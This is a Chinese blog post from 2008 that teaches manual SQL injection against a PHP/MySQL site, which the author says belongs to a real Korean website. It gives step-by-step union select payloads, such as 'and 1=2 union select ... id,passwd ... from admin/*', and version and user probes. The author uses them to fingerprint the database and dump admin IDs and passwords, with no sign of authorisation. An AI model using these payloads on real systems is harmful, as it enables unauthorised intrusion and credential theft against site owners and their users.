Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2260899
  • 博文数量: 181
  • 博客积分: 9990
  • 博客等级: 中将
  • 技术积分: 1865
  • 用 户 组: 普通用户
  • 注册时间: 2006-05-23 09:43
文章分类

全部博文(181)

文章存档

2011年(40)

2010年(17)

2009年(87)

2008年(37)

我的朋友

分类: 系统运维

2008-08-06 20:42:13

作者:冰的原点[L.S.T]

看了这么多的ASP注入的,各位是不是已经厌倦了ASP方面的注入呢?呵呵,千万不能厌倦呀,只有不断的学习,才不会被别人甩很远的!那么今天就跟着我一起学习下PHP环境下的手工注入吧.
今天的网站是一韩国的站点,注入点我已经找到了,大家如果怕麻烦的话,可以用啊D找下注入点,其实啊D不仅能找出ASP环境下的注入点,而且PHP,ASPX以及JSP的都可以找出来的哦,截张图大家看下,如图1.
其实找注入点这种事对啊D来说还是很容易的,不过接下来的事就得靠我们自己的双手来进行了.回到正文上,我们首先要判断下数据库是不是使用的mysql,在注入点处输入/*,如果正常返回的话就说明是mysql的了,因为mysql数据是支持/*的注释的,如图2,
返回正确页面,然后我们得判断下mysql的版本,如果支持union查询就好办多了,我们在注入点处输入如下语句:and ord(mid(version(),1,1))>51/*,返回正常,如图3..
说明数据库版本是大于4.0的,也就是说支持union查询的.到这里我们最好先判断下权限,如果是root的话后面的提权就好办多了,我们提交:ord(mid(user(),1,1))=114/*,返回错误,说明不是root的权限,只能老老实实的猜表啦.好,接下来猜它的字段数,利用order by 后面加数字的方法能够很快猜出字段数,例如我提交: order by 10,返回正常,说明字段数大于10的,如图4
,继续猜,然后提交 order by 20,返回错误,如图5,
说明字段数小于20,接下来就是苦力活了,当我们提交 order by 17正常,而 order by 18时错误,说明字段数就是17了,接下来就得猜列名了咯,我们提交:%20%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*如图6
.在网页中显示出的数字中替换成我们的语句,我们继续提交,%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17/*,如图7
,出现了版本号和当然数据库用户名了,接下来当然是猜表啦,首先我们想到的当然是admin这个表啦,继续提交:%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回正常,说明存在admin这个表的,接下来就是最关键的地方了,我们得猜下用户名和密码的,提交:%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),username,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回错误,看来不存在username这个列名,接下来就是漫长的猜解过程啦,可是始终没有猜到用户名,不过倒是把ID和密码猜出来的,我提交的语句是这样的:%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),id,passwd,9,10,11,12,13,14,15,16,17%20from%20admin/*,呵呵,暴出来了,如图8

文章到这里就要结束了,其实在乎只是这个过程而已,没有暴出用户名,而且后面的后台也没有找到,所以就只能放一放啦!不过,希望各位叉子能从本文学点东西的话,本文就会有它的价值了!
阅读(505) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~